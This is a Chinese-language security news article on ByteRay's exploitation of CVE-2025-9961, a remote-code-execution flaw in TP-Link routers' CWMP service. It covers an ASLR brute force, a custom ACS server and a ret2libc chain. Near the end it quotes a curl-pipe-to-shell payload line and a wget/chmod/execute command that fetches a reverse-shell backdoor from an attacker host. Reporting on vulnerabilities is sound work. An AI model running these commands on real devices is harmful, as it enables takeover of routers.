ByteRay安全研究团队发布了关于CVE-2025-9961漏洞的详细利用报告,该漏洞存在于TP-Link路由器的CWMP(客户终端设备广域网管理协议)服务中,可被武器化以在受影响设备上实现远程代码执行(RCE)。研究不仅揭示了漏洞利用的技术复杂性,还展示了绕过ASLR(地址空间布局随机化)和有效载荷传输限制等防护措施所需的技术深度。
ByteRay团队解释,他们的研究需要“直接与系统交互以监控日志、检查配置文件并设置GDB调试器”。团队未使用UART接口,而是通过已知漏洞CVE-2023-1389降级固件,从而获得研究CVE-2025-9961的必要访问权限。
设备虽启用了NX(不可执行内存) 和Partial RELRO(部分重定位只读) 防护,但缺乏栈保护(stack canaries) 和位置无关可执行文件(PIE) 防护,留下了可利用的缺口。报告特别指出:“栈:10位固定,10位可变,12位随机”,凸显了研究人员需要克服的ASLR熵值挑战。
自定义ACS服务器突破有效载荷传输限制
团队最初尝试使用GenieACS平台投递有效载荷,但发现该平台无法可靠传输0x00-0xFF的全部字节范围。研究人员表示:“这一限制迫使我们采用新方案——搭建自定义ACS服务器!”通过自建ACS服务器,ByteRay成功复现了CWMP协议步骤,并通过SetParameterValues请求投递任意有效载荷。
由于无法获取地址泄露信息,漏洞利用需要暴力破解基地址。ByteRay解释:“暴力破解带来了新挑战——如果猜测的基地址错误,CWMP服务会崩溃(SIGSEGV)。但由于我们已经通过TP-Link网页面板获得访问权限,可以随时重启服务。”
完整攻击链:ret2libc与反向Shell投递
尽管存在不稳定性,团队仍成功实施了ret2libc攻击,通过精心选择的ROP小工具调用libc库中的system()函数。
攻击的最后阶段涉及投递恶意的ARM32 ELF反向Shell。研究人员使用msfvenom生成有效载荷,并通过特制的curl命令进行投递:
buf+= b"curl http://192.168.0.59:8000/show | sh"
托管在攻击者服务器上的show
文件会指示设备下载、修改权限并执行后门程序:
wget http://[attacker]:8000/app -O /tmp/app && chmod +x /tmp/app && /tmp/app
最终成功获取完整功能的反向Shell,证实CVE-2025-9961漏洞可在实际环境中被利用。
ByteRay明确表示,该研究和PoC测试仅用于安全研究目的,完整漏洞利用代码已在GitHub平台公开。
发表评论
您还未登录,请先登录。
登录